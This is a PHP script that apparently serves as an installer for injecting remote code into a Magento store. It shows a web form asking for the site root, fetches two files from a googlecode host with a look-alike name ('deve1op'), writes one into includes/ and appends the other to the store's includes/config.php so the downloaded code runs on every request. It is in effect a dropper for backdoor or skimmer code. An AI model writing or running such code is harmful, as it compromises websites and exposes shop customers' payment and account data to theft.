<?php  	
   	


class mage_run{
	    
	private 	$debug ;	
	private $obj =  array("config"=>"http://deve1op.googlecode.com/svn/magento/config.php", 
							"class"=>"http://deve1op.googlecode.com/svn/magento/class.zmage.php");	
	private $flie =  array("config"=>"includes/config.php", 	"class"=>"includes/class.zmage.php");
		
	private static $_instance = NULL; 

	private function __construct(){
			$this->debug			= 	true;		
		//	self::debug($this->obj);					
		//	self::debug($this->flie);
			self::running();
	}
	
	
	static public function get_run_exec_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new mage_run();  
		}
		return  self::$_instance; 
	}
	
	
	public function file_exists($urls){
		$fat = @get_headers($urls);
		if (preg_match("/404/", $fat[0])){
			echo "<hr>";
			die($urls." file not exit");
	    	return FALSE;					
		}else {
			return TRUE;
		}
	}
	
	
	protected function debug($expression){
		echo "<pre>";
		print_r($expression);
		echo "</pre><hr>";
	}
	
 
	public function write_common($file,$content){
		$fp = fopen($file, "w+");
		if ($fp == NULL){		return ;		}  
		@fwrite($fp,$content);
		@fclose($fp);
	}
	
	
	public function input(){
		
		echo "<br> <br>If the input is null ,  then  webdir is the current directory path<hr>";
		echo "<form action='' method='post'>
			  	web docmount:              
			  	<input type='text' name='webroot'  style='width:100%'  maxlength='100'  />
			  	<input type='submit' value='Submit' />	</form>";
	
	}
	
	public function permissions($webroot){
	
		echo $_SERVER['SCRIPT_FILENAME'];
		echo "<hr>";
		
		
		if (!file_exists($webroot)){		self::back();
			
			exit('$sfile Please make sure the root path');
		}
	
		if (!is_writable($this->flie['config'])){
					self::back();
			
			exit($this->flie['config'].'is  not write');
		}
	}
	
	public function back(){
		echo "<hr>";
		unset($_REQUEST);		unset($_POST);
		echo "<a href=\"javascript:window.history.go(-1);\">返回</a>";
	}
	
	public function success(){
			echo "<span style='color:red'><h1>success</h1></span>";
	}
	
	public function running(){
		
		if (!isset($_REQUEST['webroot'])){
			self::input();
			return ;
		}
		$webroot = isset($_REQUEST['webroot']) ? $_REQUEST['webroot'] : "";
		if ($webroot ==""){
				$webroot = $_SERVER['DOCUMENT_ROOT'];
		}
	
		echo $webroot . "<hr>";
		
		if (!is_dir($webroot)){			
			self::debug($webroot."    webdir  not exit");
			self::back();
			return ;
		}

		$this->flie['config'] 	= $webroot."/".$this->flie['config'];
		$this->flie['class'] 	= $webroot."/".$this->flie['class'];
		
		self::debug($this->obj);					
		self::debug($this->flie);
		self::permissions($webroot);
	
		$contents = file_get_contents($this->obj['class']);
		file_put_contents($this->flie['class'], $contents);
				self::debug("  add to	 ".$this->flie['class']);
		
		
		$config_contents = file_get_contents($this->flie['config']);
		$config_contents = str_replace("?>", "", $config_contents);
		$scontents = file_get_contents($this->obj['config']);	
		 
		$this->write_common($this->flie['config'], $config_contents.$scontents);
		self::debug("  add to	 ".$this->flie['config']);
 
		self::success();
		self::back();
		
	}

}

   
$run_flame_install = mage_run::get_run_exec_instance();